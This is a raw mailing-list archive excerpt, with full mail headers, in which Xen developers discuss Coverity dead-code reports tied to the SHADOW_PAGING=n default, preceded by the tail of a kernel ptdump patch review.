X-MS-Exchange-CrossTenant-OriginalAttributedTenantConnectingIp: TenantId=f34e5979-57d9-4aaa-ad4d-b122a662184d;Ip=[4.158.2.129];Helo=[outbound-uk1.az.dlp.m.darktrace.com]
X-MS-Exchange-CrossTenant-AuthSource:
	DU6PEPF00009524.eurprd02.prod.outlook.com
X-MS-Exchange-CrossTenant-AuthAs: Anonymous
X-MS-Exchange-CrossTenant-FromEntityHeader: HybridOnPrem
X-MS-Exchange-Transport-CrossTenantHeadersStamped: AM8PR08MB6548
X-purgate-ID: tlsNG-bad1c0/1785417159-3A8D9034-6FE42D5D/0/0
X-purgate-type: clean
X-purgate-size: 870

On 30/07/2026 12:26 pm, Alexander Gordeev wrote:
> On Mon, Jul 27, 2026 at 05:46:57PM +0100, Muhammad Usama Anjum wrote:
>> diff --git a/mm/ptdump.c b/mm/ptdump.c
>> index 376880071ca2a..8f19f20be3c44 100644
>> --- a/mm/ptdump.c
>> +++ b/mm/ptdump.c
>> @@ -19,7 +19,7 @@ static inline int note_kasan_page_table(struct mm_walk *walk,
>>  {
>>  	struct ptdump_state *st = walk->private;
>>  
>> -	st->note_page_pte(st, addr, kasan_early_shadow_pte[0]);
>> +	st->note_page_pte(st, addr, ptep_get(kasan_early_shadow_pte));
>>  
>>  	walk->action = ACTION_CONTINUE;
> 
> I suppose this chunk could be posted as a follow-up to commit c33c794828f2
> ("mm: ptep_get() conversion") independent of this series.
This hunk has to be changed when the type of kasan_early_shadow_pte is changed
to hw_pte_t as note_page_pte() expects a pte.

-- 
Thanks,
Usama



From xen-devel-bounces@lists.xenproject.org Thu Jul 30 13:14:08 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Thu, 30 Jul 2026 13:14:08 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1377774.1623606 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wpQaM-0004dW-M2; Thu, 30 Jul 2026 13:14:06 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1377774.1623606; Thu, 30 Jul 2026 13:14:06 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wpQaM-0004dP-J3; Thu, 30 Jul 2026 13:14:06 +0000
Received: by outflank-mailman (input) for mailman id 1377774;
 Thu, 30 Jul 2026 13:14:04 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <jbeulich@suse.com>) id 1wpQaK-0004dH-GB
 for xen-devel@lists.xenproject.org; Thu, 30 Jul 2026 13:14:04 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wpQaJ-00058Y-PA
 for xen-devel@lists.xenproject.org; Thu, 30 Jul 2026 15:14:03 +0200
Received: from [10.42.69.2] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a6b4e1a-5cb7-0a2a0a5109dd-0a2a4502de16-12
 for <xen-devel@lists.xenproject.org>; Thu, 30 Jul 2026 15:14:03 +0200
Received: from [209.85.221.46] (helo=mail-wr1-f46.google.com)
 by tlsNG-720697.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a6b4e1b-6ca4-0a2a45020019-d155dd2ea4b7-3
 for <xen-devel@lists.xenproject.org>; Thu, 30 Jul 2026 15:14:03 +0200
Received: by mail-wr1-f46.google.com with SMTP id
 ffacd0b85a97d-4758bd3731bso743672f8f.0
 for <xen-devel@lists.xenproject.org>; Thu, 30 Jul 2026 06:14:03 -0700 (PDT)
Received: from [10.156.60.236] (ip-037-024-206-209.um08.pools.vodafone-ip.de.
 [37.24.206.209]) by smtp.gmail.com with ESMTPSA id
 ffacd0b85a97d-47fc88d8d37sm5768244f8f.8.2026.07.30.06.14.01
 for <xen-devel@lists.xenproject.org>
 (version=TLS1_3 cipher=TLS_AES_128_GCM_SHA256 bits=128/128);
 Thu, 30 Jul 2026 06:14:02 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=google header.d=suse.com header.i="@suse.com" header.h="Content-Transfer-Encoding:Content-Type:In-Reply-To:Autocrypt:From:Content-Language:References:To:Subject:User-Agent:MIME-Version:Date:Message-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=suse.com; s=google; t=1785417243; x=1786022043; darn=lists.xenproject.org;
        h=content-transfer-encoding:content-type:in-reply-to:autocrypt:from
         :content-language:references:to:subject:user-agent:mime-version:date
         :message-id:from:to:cc:subject:date:message-id:reply-to:content-type;
        bh=whV/u9EkReVT/Ja31GbWvlmguODJTCAafpM9z/1d1SQ=;
        b=fmWttsLToCzZsTLLpD/1SG5boSdyN5fXRXyU0vW1DQ7EV+GqpMvLPQlyxdsRt3H+r8
         QLQhra1PNwftgWS6po/n8wZIRtnC3bjuZGyu9Gq8axQgl6abds40a3lz5z29WaatAznq
         sxykoZ/s2xM5RinnAMPNHM8OwugArhfo3eINqK4L8boFMGS0G0WH41ZLC4FwMoGvwuko
         plUINV5W6n8V8RfQMpQLXuVpB3GYfH/boBRhiKxH5vlvPIiHhcFtQ8gOIOK+RQ5AUOp6
         JlcV2ocB5qRU4Xt0AGD+GZU4g+jSbDU4ZS2yxi++QyPIgi40Ub+AhVKtjqdL23Z/Tgs4
         o7Fw==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1785417243; x=1786022043;
        h=content-transfer-encoding:content-type:in-reply-to:autocrypt:from
         :content-language:references:to:subject:user-agent:mime-version:date
         :message-id:x-gm-gg:x-gm-message-state:from:to:cc:subject:date
         :message-id:reply-to:content-type;
        bh=whV/u9EkReVT/Ja31GbWvlmguODJTCAafpM9z/1d1SQ=;
        b=bQqvzNv3mfFWLT9jwga0mbx5XRLoNQFI/dSnfJBQb5TmIuwwYeeb+2tST35Xzdfnen
         EAx2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0:c825 with SMTP id ffacd0b85a97d-47fcbdb6665mr327463f8f.24.1785417242828;
        Thu, 30 Jul 2026 06:14:02 -0700 (PDT)
Message-ID: <d0ff411c-3bd9-4306-8782-ac63f7b202da@suse.com>
Date: Thu, 30 Jul 2026 15:14:00 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: Re: New Defects reported by Coverity Scan for XenProject
To: "xen-devel@lists.xenproject.org" <xen-devel@lists.xenproject.org>
References: <6a6b266559168_35fb2bc1be9079a4147ab@prd-scan-dashboard-0.mail>
Content-Language: en-US
From: Jan Beulich <jbeulich@suse.com>
Autocrypt: addr=jbeulich@suse.com; keydata=
 xsDiBFk3nEQRBADAEaSw6zC/EJkiwGPXbWtPxl2xCdSoeepS07jW8UgcHNurfHvUzogEq5xk
 hu507c3BarVjyWCJOylMNR98Yd8VqD9UfmX0Hb8/BrA+Hl6/DB/eqGptrf4BSRwcZQM32aZK
 7Pj2XbGWIUrZrd70x1eAP9QE3P79Y2oLrsCgbZJfEwCgvz9JjGmQqQkRiTVzlZVCJYcyGGsD
 /0tbFCzD2h20ahe8rC1gbb3K3qk+LpBtvjBu1RY9drYk0NymiGbJWZgab6t1jM7sk2vuf0Py
 O9Hf9XBmK0uE9IgMaiCpc32XV9oASz6UJebwkX+zF2jG5I1BfnO9g7KlotcA/v5ClMjgo6Gl
 MDY4HxoSRu3i1cqqSDtVlt+AOVBJBACrZcnHAUSuCXBPy0jOlBhxPqRWv6ND4c9PH1xjQ3NP
 nxJuMBS8rnNg22uyfAgmBKNLpLgAGVRMZGaGoJObGf72s6TeIqKJo/LtggAS9qAUiuKVnygo
 3wjfkS9A3DRO+SpU7JqWdsveeIQyeyEJ/8PTowmSQLakF+3fote9ybzd880fSmFuIEJldWxp
 Y2ggPGpiZXVsaWNoQHN1c2UuY29tPsJgBBMRAgAgBQJZN5xEAhsDBgsJCAcDAgQVAggDBBYC
 AwECHgECF4AACgkQoDSui/t3IH4J+wCfQ5jHdEjCRHj23O/5ttg9r9OIruwAn3103WUITZee
 e7Sbg12UgcQ5lv7SzsFNBFk3nEQQCACCuTjCjFOUdi5Nm244F+78kLghRcin/awv+IrTcIWF
 hUpSs1Y91iQQ7KItirz5uwCPlwejSJDQJLIS+QtJHaXDXeV6NI0Uef1hP20+y8qydDiVkv6l
 IreXjTb7DvksRgJNvCkWtYnlS3mYvQ9NzS9PhyALWbXnH6sIJd2O9lKS1Mrfq+y0IXCP10eS
 FFGg+Av3IQeFatkJAyju0PPthyTqxSI4lZYuJVPknzgaeuJv/2NccrPvmeDg6Coe7ZIeQ8Yj
 t0ARxu2xytAkkLCel1Lz1WLmwLstV30g80nkgZf/wr+/BXJW/oIvRlonUkxv+IbBM3dX2OV8
 AmRv1ySWPTP7AAMFB/9PQK/VtlNUJvg8GXj9ootzrteGfVZVVT4XBJkfwBcpC/XcPzldjv+3
 HYudvpdNK3lLujXeA5fLOH+Z/G9WBc5pFVSMocI71I8bT8lIAzreg0WvkWg5V2WZsUMlnDL9
 mpwIGFhlbM3gfDMs7MPMu8YQRFVdUvtSpaAs8OFfGQ0ia3LGZcjA6Ik2+xcqscEJzNH+qh8V
 m5jjp28yZgaqTaRbg3M/+MTbMpicpZuqF4rnB0AQD12/3BNWDR6bmh+EkYSMcEIpQmBM51qM
 EKYTQGybRCjpnKHGOxG0rfFY1085mBDZCH5Kx0cl0HVJuQKC+dV2ZY5AqjcKwAxpE75MLFkr
 wkkEGBECAAkFAlk3nEQCGwwACgkQoDSui/t3IH7nnwCfcJWUDUFKdCsBH/E5d+0ZnMQi+G0A
 nAuWpQkjM1ASeQwSHEeAWPgskBQL
In-Reply-To: <6a6b266559168_35fb2bc1be9079a4147ab@prd-scan-dashboard-0.mail>
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 7bit
X-purgate-ID: tlsNG-720697/1785417243-66CB22AC-5371C6FD/0/0
X-purgate-type: clean
X-purgate-size: 5196

On 30.07.2026 12:24, scan-admin@coverity.com wrote:
> ** CID 1697485:       Control flow issues  (DEADCODE)
> /xen/arch/x86/hvm/hvm.c: 2436           in hvm_set_cr3()
> 
> 
> _____________________________________________________________________________________________
> *** CID 1697485:         Control flow issues  (DEADCODE)
> /xen/arch/x86/hvm/hvm.c: 2436             in hvm_set_cr3()
> 2430                 curr->arch.vm_event->write_data.cr3_noflush = noflush;
> 2431     
> 2432                 return X86EMUL_OKAY;
> 2433             }
> 2434         }
> 2435     
>>>>     CID 1697485:         Control flow issues  (DEADCODE)
>>>>     Execution cannot reach the expression "(value ^ curr->arch.hvm.guest_cr[3]) >> 12" inside this statement: "if (!!(curr->arch.hvm.guest...".
> 2436         if ( hvm_paging_enabled(curr) && paging_mode_shadow(currd) &&
> 2437              ((value ^ curr->arch.hvm.guest_cr[3]) >> PAGE_SHIFT) )
> 2438         {
> 2439             /* Shadow-mode CR3 change. Check PDBR and update refcounts. */
> 2440             struct page_info *page;
> 2441     
> 
> ** CID 1697484:       Control flow issues  (DEADCODE)
> /xen/arch/x86/hvm/svm/svm.c: 128           in svm_update_guest_cr()
> 
> 
> _____________________________________________________________________________________________
> *** CID 1697484:         Control flow issues  (DEADCODE)
> /xen/arch/x86/hvm/svm/svm.c: 128             in svm_update_guest_cr()
> 122                      monitor_ctrlreg_bitmask(VM_EVENT_X86_CR3) )
> 123                    vmcb_set_cr_intercepts(vmcb, intercepts | CR_INTERCEPT_CR3_WRITE);
> 124             }
> 125     
> 126             value = v->arch.hvm.guest_cr[0];
> 127             if ( paging_mode_shadow(v->domain) )
>>>>     CID 1697484:         Control flow issues  (DEADCODE)
>>>>     Execution cannot reach this statement: "value |= 0x80010000UL;".
> 128                 value |= X86_CR0_PG | X86_CR0_WP;
> 129             vmcb_set_cr0(vmcb, value);
> 130             break;
> 131     
> 132         case 2:
> 133             vmcb_set_cr2(vmcb, v->arch.hvm.guest_cr[2]);
> 
> ** CID 1697483:       Control flow issues  (DEADCODE)
> /xen/arch/x86/hvm/svm/svm.c: 396           in svm_vmcb_restore()
> 
> 
> _____________________________________________________________________________________________
> *** CID 1697483:         Control flow issues  (DEADCODE)
> /xen/arch/x86/hvm/svm/svm.c: 396             in svm_vmcb_restore()
> 390                 return -EINVAL;
> 391             }
> 392         }
> 393     
> 394         if ( paging_mode_shadow(v->domain) )
> 395         {
>>>>     CID 1697483:         Control flow issues  (DEADCODE)
>>>>     Execution cannot reach this statement: "if (c->cr0 & 0x80000000UL) ...".
> 396             if ( c->cr0 & X86_CR0_PG )
> 397             {
> 398                 page = get_page_from_gfn(v->domain, c->cr3 >> PAGE_SHIFT,
> 399                                          NULL, P2M_ALLOC);
> 400                 if ( !page )
> 401                 {
> 
> ** CID 1697482:         (DEADCODE)
> /xen/arch/x86/hvm/hvm.c: 2332           in hvm_set_cr0()
> /xen/arch/x86/hvm/hvm.c: 2382           in hvm_set_cr0()
> 
> 
> _____________________________________________________________________________________________
> *** CID 1697482:           (DEADCODE)
> /xen/arch/x86/hvm/hvm.c: 2332             in hvm_set_cr0()
> 2326                 hvm_update_guest_efer(v);
> 2327             }
> 2328     
> 2329             if ( paging_mode_shadow(d) )
> 2330             {
> 2331                 /* The guest CR3 must be pointing to the guest physical. */
>>>>     CID 1697482:           (DEADCODE)
>>>>     Execution cannot reach this statement: "gfn = v->arch.hvm.guest_cr[...".
> 2332                 gfn = v->arch.hvm.guest_cr[3] >> PAGE_SHIFT;
> 2333                 page = get_page_from_gfn(d, gfn, NULL, P2M_ALLOC);
> 2334                 if ( !page )
> 2335                 {
> 2336                     gdprintk(XENLOG_ERR, "Invalid CR3 value = %lx\n",
> 2337                              v->arch.hvm.guest_cr[3]);
> /xen/arch/x86/hvm/hvm.c: 2382             in hvm_set_cr0()
> 2376                 v->arch.hvm.guest_efer &= ~EFER_LMA;
> 2377                 hvm_update_guest_efer(v);
> 2378             }
> 2379     
> 2380             if ( paging_mode_shadow(d) )
> 2381             {
>>>>     CID 1697482:           (DEADCODE)
>>>>     Execution cannot reach this statement: "put_page((struct page_info ...".
> 2382                 put_page(pagetable_get_page(v->arch.guest_table));
> 2383                 v->arch.guest_table = pagetable_null();
> 2384             }
> 2385         }
> 2386     
> 2387         if ( ((value ^ old_value) & X86_CR0_CD) &&

For all of the above (and maybe more further down the original report): Do we have
control over the .config Coverity uses? These (not really) issues all result from
SHADOW_PAGING=n by default now, i.e. the unreachable statements are expected in
that configuration (and they were there before, if the build had been done with
SHADOW_PAGING=n).

Jan


From xen-devel-bounces@lists.xenproject.org Thu Jul 30 13:21:50 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Thu, 30 Jul 2026 13:21:50 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1377787.1623617 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wpQhk-0006gC-FU; Thu, 30 Jul 2026 13:21:44 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1377787.1623617; Thu, 30 Jul 2026 13:21:44 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wpQhk-0006g5-9x; Thu, 30 Jul 2026 13:21:44 +0000
Received: by outflank-mailman (input) for mailman id 1377787;
 Thu, 30 Jul 2026 13:21:43 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <andrew.cooper@citrix.com>) id 1wpQhj-0006fz-AQ
 for xen-devel@lists.xenproject.org; Thu, 30 Jul 2026 13:21:43 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wpQhi-0006sN-LD
 for xen-devel@lists.xenproject.org; Thu, 30 Jul 2026 15:21:42 +0200
Received: from [10.42.69.3] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <andrew.cooper@citrix.com>)
 id 6a6b4fe2-2eae-0a2a0a5409dd-0a2a4503e9e2-20
 for <xen-devel@lists.xenproject.org>; Thu, 30 Jul 2026 15:21:42 +0200
Received: from [52.101.201.59]
 (helo=PH7PR06CU001.outbound.protection.outlook.com)
 by tlsNG-33051d.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <andrew.cooper@citrix.com>)
 id 6a6b4fe4-fae8-0a2a45030019-3465c93b67b9-3
 for <xen-devel@lists.xenproject.org>; Thu, 30 Jul 2026 15:21:42 +0200
Received: from CH8PR03MB8275.namprd03.prod.outlook.com (2603:10b6:610:2b9::7)
 by BY1PR03MB7240.namprd03.prod.outlook.com (2603:10b6:a03:52b::9)
 with Microsoft SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.21.270.14; Thu, 30 Jul
 2026 13:21:37 +0000
Received: from CH8PR03MB8275.namprd03.prod.outlook.com
 ([fe80::a70d:dc32:bba8:ce37]) by CH8PR03MB8275.namprd03.prod.outlook.com
 ([fe80::a70d:dc32:bba8:ce37%7]) with mapi id 15.21.0245.012; Thu, 30 Jul 2026
 13:21:36 +0000
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=selector1 header.d=citrix.com header.i="@citrix.com" header.h="From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck"
ARC-Seal: i=1; a=rsa-sha256; s=arcselector10001; d=microsoft.com; cv=none;
 b=dhpfkDy0uIYIS7+zEQ1GpiizJnonZstl9yJ54M9EEw8zlj23BRq0Ykanxwf2cK4kY1+k2Fr2MX5I7COlCEdL5xAqf9rJg41Y3G6KUZMbIqxIlMFJ6bA8rNXpz1Znb7wy5e7bUlpBdSJBjaOn8arFTAMO2P4n/iwx2MyxldYIH8AkYKSU61vqQ4pJl/iLvjEYxLDi6kIuDUOXLCPyBXS3scHU69WmF4bmhXo7RwuEAO2WdCqTwRc4SlM1Zj8D867dNJMbf3BPpxuExBmO32QZ7pCR6qd4Od4XEl2f+7cZvfRR6w8Ktv2pYrv7waV8nXKJ/u3KIvt7G+7aWVM8QR3Bpg==
ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=microsoft.com;
 s=arcselector10001;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-AntiSpam-MessageData-ChunkCount:X-MS-Exchange-AntiSpam-MessageData-0:X-MS-Exchange-AntiSpam-MessageData-1;
 bh=TB50vRFqM2Heat1S9uHZBFWomHqbaPebHHNTU6DSHG0=;
 b=RkVni0OO1uM5ZucrTNdiqFy7gslusYDATVNSosOCNXegMwr4aE7tZjfyIU8B3YCLEzzFw9Q9B0XKqsuIcflZpgB8w3m0PVSpslWGbSkWhVJtGY/PGQu8F4uY2p7bkojp5v8fwnqhVM7/dRV2L9H3HCTaiPx3FHB74g3tI/zFAGzo4AY+RIs2Lzq4HeEVE9JpUEsV0fSzMN3HzPjna30hXVMTWiOzROJZgHijxkvtkffgypRgcOux3S3Erxi7KOTr+ZMHoZrztHAMBFXwxTXay7IRyssEAj9UKkYCTXRjPxMM6MxvvU7fDrXieNzlTpKgBFbGzUN3WXIpIc+X1PkSEw==
ARC-Authentication-Results: i=1; mx.microsoft.com 1; spf=pass
 smtp.mailfrom=citrix.com; dmarc=pass action=none header.from=citrix.com;
 dkim=pass header.d=citrix.com; arc=none
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=citrix.com;
 s=selector1;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck;
 bh=TB50vRFqM2Heat1S9uHZBFWomHqbaPebHHNTU6DSHG0=;
 b=DPsxEKU6ei1yVZWF0xYo+287Shvy4LQH7EpxiJRSnmxFp3+iprCT6Az9DwpDml9rmT+NaHaHDGjIs/W0tPryjpsKU2DSMM+dIFi9120S0Y+reE/v5IjDNGZ9CCznkucZQUyR9zAZ5NRtRsC8nCsb9sZbPEUrNGVeVbuRMjJ8Fiw=
Authentication-Results: dkim=none (message not signed)
 header.d=none;dmarc=none action=none header.from=citrix.com;
Message-ID: <ab6d9fe6-e239-49ac-9bcf-79779cf63420@citrix.com>
Date: Thu, 30 Jul 2026 14:21:33 +0100
User-Agent: Mozilla Thunderbird
Cc: Andrew Cooper <andrew.cooper3@citrix.com>
Subject: Re: New Defects reported by Coverity Scan for XenProject
To: Jan Beulich <jbeulich@suse.com>,
 "xen-devel@lists.xenproject.org" <xen-devel@lists.xenproject.org>
References: <6a6b266559168_35fb2bc1be9079a4147ab@prd-scan-dashboard-0.mail>
 <d0ff411c-3bd9-4306-8782-ac63f7b202da@suse.com>
Content-Language: en-GB
From: Andrew Cooper <andrew.cooper3@citrix.com>
Autocrypt: addr=andrew.cooper3@citrix.com; keydata=
 xsFNBFLhNn8BEADVhE+Hb8i0GV6mihnnr/uiQQdPF8kUoFzCOPXkf7jQ5sLYeJa0cQi6Penp
 VtiFYznTairnVsN5J+ujSTIb+OlMSJUWV4opS7WVNnxHbFTPYZVQ3erv7NKc2iVizCRZ2Kxn
 srM1oPXWRic8BIAdYOKOloF2300SL/bIpeD+x7h3w9B/qez7nOin5NzkxgFoaUeIal12pXSR
 Q354FKFoy6Vh96gc4VRqte3jw8mPuJQpfws+Pb+swvSf/i1q1+1I4jsRQQh2m6OTADHIqg2E
 ofTYAEh7R5HfPx0EXoEDMdRjOeKn8+vvkAwhviWXTHlG3R1QkbE5M/o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ArRUdCrAtIa1k01sPipPPw6dfxx2e5asy21YOytzxuWFfJTGnVxZZSCyLUO83sh6OZhJkk
 b9rxL9wPmpN/t2IPaEKoAc0FTQZS36wAMOXkBh24PQ9gaLJvfPKpNzGD8XWR5HHF0NLIJhgg
 4ZlEXQ2fVp3XrtocHqhu4UZR4koCijgB8sB7Tb0GCpwK+C4UePdFLfhKyRdSXuvY3AHJd4CP
 4JzW0Bzq/WXY3XMOzUTYApGQpnUpdOmuQSfpV9MQO+/jo7r6yPbxT7CwRS5dcQPzUiuHLK9i
 nvjREdh84qycnx0/6dDroYhp0DFv4udxuAvt1h4wGwTPRQZerSm4xaYegEFusyhbZrI0U9tJ
 B8WrhBLXDiYlyJT6zOV2yZFuW47VrLsjYnHwn27hmxTC/7tvG3euCklmkn9Sl9IAKFu29RSo
 d5bD8kMSCYsTqtTfT6W4A3qHGvIDta3ptLYpIAOD2sY3GYq2nf3Bbzx81wZK14JdDDHUX2Rs
 6+ahAA==
In-Reply-To: <d0ff411c-3bd9-4306-8782-ac63f7b202da@suse.com>
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
X-ClientProxiedBy: LO4P123CA0549.GBRP123.PROD.OUTLOOK.COM
 (2603:10a6:600:319::18) To CH8PR03MB8275.namprd03.prod.outlook.com
 (2603:10b6:610:2b9::7)
MIME-Version: 1.0
X-MS-PublicTrafficType: Email
X-MS-TrafficTypeDiagnostic: CH8PR03MB8275:EE_|BY1PR03MB7240:EE_
X-MS-Office365-Filtering-Correlation-Id: b5d4c06c-b535-4d23-c4e1-08deee3d7b8a
X-MS-Exchange-SenderADCheck: 1
X-MS-Exchange-AntiSpam-Relay: 0
X-Microsoft-Antispam:
	BCL:0;ARA:13230040|366016|1800799024|376014|23010399003|22082099003|18002099003|4143699003|11063799006|56012099006|6133799003|10067099003;
X-Microsoft-Antispam-Message-Info:
	4NqMuUxFfuoD5tMJ7G7FL32iwrHb+KIKzYk78SrSRGsHvBtyjmookWqz02UYJYVzwHHOSxJxwGEYLk1NoiXIQcZt8TiPuybJBjfAR5MtzaJiVzk/1dAc2EQttYexHJjLusx+xMnQeEjoU6VBoOr/Vi0u3LVQAFYU9vs5AfgSy7qWIYrddwBZXmH3tapjpIfbtNv5olAsh0L9DpvgXpq08JViYS4KomTOKeZF6EgfUBfW3yUhRbB0np/Gmm3a4tbWuUbMP8ngX8W5xJWL2xzeEg5kh1kHq2AgnLjwH8UjzQbClul2KpIqh6AZEWGI9BGafyVvRL6H+RV7o/7P0KmU+kXFHkwkNQ9IrvnWWqs0i4Yeiy2TS3TcJVF1xuhOc/lkag8HC5aRscXgZ5HNVYNQ1v35iE63OH/RUUdgfTeU9Wb8g5UlB9biksMN93mdKhkTSa1t7TqlwQTykws3nt4Xj0K/OBpOiZXns/Zh4fqnZrElSPGN001SLPQvJeyUWuoTTXPrOoDkos0z3O30v7igC3fHNCo3W+pd6dEpcAWgMASAEPWq2zqfBesX7DYeOeJBmc6oiemG3ofd8Is9jLs9DPO7QDIfI6qHt2JHA44KB0NiIqplbRohHlkApsuyr9UHWF2uUHYRaAFuxqYG4WICHQjmXqC9VR7jlcQP6SYzges=
X-Forefront-Antispam-Report:
	CIP:255.255.255.255;CTRY:;LANG:en;SCL:1;SRV:;IPV:NLI;SFV:NSPM;H:CH8PR03MB8275.namprd03.prod.outlook.com;PTR:;CAT:NONE;SFS:(13230040)(366016)(1800799024)(376014)(23010399003)(22082099003)(18002099003)(4143699003)(11063799006)(56012099006)(6133799003)(10067099003);DIR:OUT;SFP:1101;
X-MS-Exchange-AntiSpam-MessageData-ChunkCount: 1
X-MS-Exchange-AntiSpam-MessageData-0:
	=?utf-8?B?OC9BTmZvUitPdVJTcjhqcTl2NU5TUzAvZlV0enVqS0NJWit0Rk91SHVVbUVQ?=
 =?utf-8?B?UnVwaE9rUSt2aU4yb0Q1eUp1RlBOcGNXMUQwRlQyNmF3cXk2Tk5UeWE3Mm8y?=
 =?utf-8?B?TldTNmttNHZxZUpIYWNyL0JQYU9r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ktYNHAxSWhOTmUzem5uTFg3TnhIRktjWHZHS2FU?=
 =?utf-8?B?czRDWEJZTG92RUJUd0pLbDl6cTJobU9UeVhXcmhHUzlIR3pUN09Hb2FjMEha?=
 =?utf-8?B?UDdtbUgyUnd0ZU9iYkNMQXkreTNSTksyVVRNTW1pNTk1clQ2cGdhU01Ub013?=
 =?utf-8?B?WWIwOHpsMUc5eEpDK0hOazFXLzJzUHViVFpnYVpTejdVakxLaWZ3cTlrVXFT?=
 =?utf-8?B?VU5iTzFXMlpaaXVhWTNZVjhuSmNWdW5OY3NNTFJTVTd5LzRGVVRHT2xLT2g4?=
 =?utf-8?B?QU1tWm5nTTZBWkhUWW10N0thVHhQUHBTYWgxazlJTDNIakJxYmdOajhSMjF1?=
 =?utf-8?B?WVhjcnVVQUpyTHowT2VaMDNCWUp4MTdQWEdrZEdFQ0RMTWlQcDc0eVQ2QmZD?=
 =?utf-8?B?cDVWbFFhVWlWekNIZmw1VU5BL0JveUx6WGRkU2t0R0FRVFMzUTY2VDVGb2Rk?=
 =?utf-8?Q?fvoZANm72BhkPv/o=3D?=
X-OriginatorOrg: citrix.com
X-MS-Exchange-CrossTenant-Network-Message-Id: b5d4c06c-b535-4d23-c4e1-08deee3d7b8a
X-MS-Exchange-CrossTenant-AuthSource: CH8PR03MB8275.namprd03.prod.outlook.com
X-MS-Exchange-CrossTenant-AuthAs: Internal
X-MS-Exchange-CrossTenant-OriginalArrivalTime: 30 Jul 2026 13:21:36.7031
 (UTC)
X-MS-Exchange-CrossTenant-FromEntityHeader: Hosted
X-MS-Exchange-CrossTenant-Id: 335836de-42ef-43a2-b145-348c2ee9ca5b
X-MS-Exchange-CrossTenant-MailboxType: HOSTED
X-MS-Exchange-CrossTenant-UserPrincipalName: ORuBUcymxXbDULElPHG/DWmG8aXfS6fSNvz5gJ3CshKaGB5LTsOwXcNN/3gzuD2jnd5x5/ytAWxLYTe9rAjHC+f4XPOjcIWZMgmMkelYEuc=
X-MS-Exchange-Transport-CrossTenantHeadersStamped: BY1PR03MB7240
X-purgate-ID: tlsNG-33051d/1785417702-772F54E9-D14F654A/0/0
X-purgate-type: clean
X-purgate-size: 5556

On 30/07/2026 2:14 pm, Jan Beulich wrote:
> On 30.07.2026 12:24, scan-admin@coverity.com wrote:
>> ** CID 1697485:       Control flow issues  (DEADCODE)
>> /xen/arch/x86/hvm/hvm.c: 2436           in hvm_set_cr3()
>>
>>
>> _____________________________________________________________________________________________
>> *** CID 1697485:         Control flow issues  (DEADCODE)
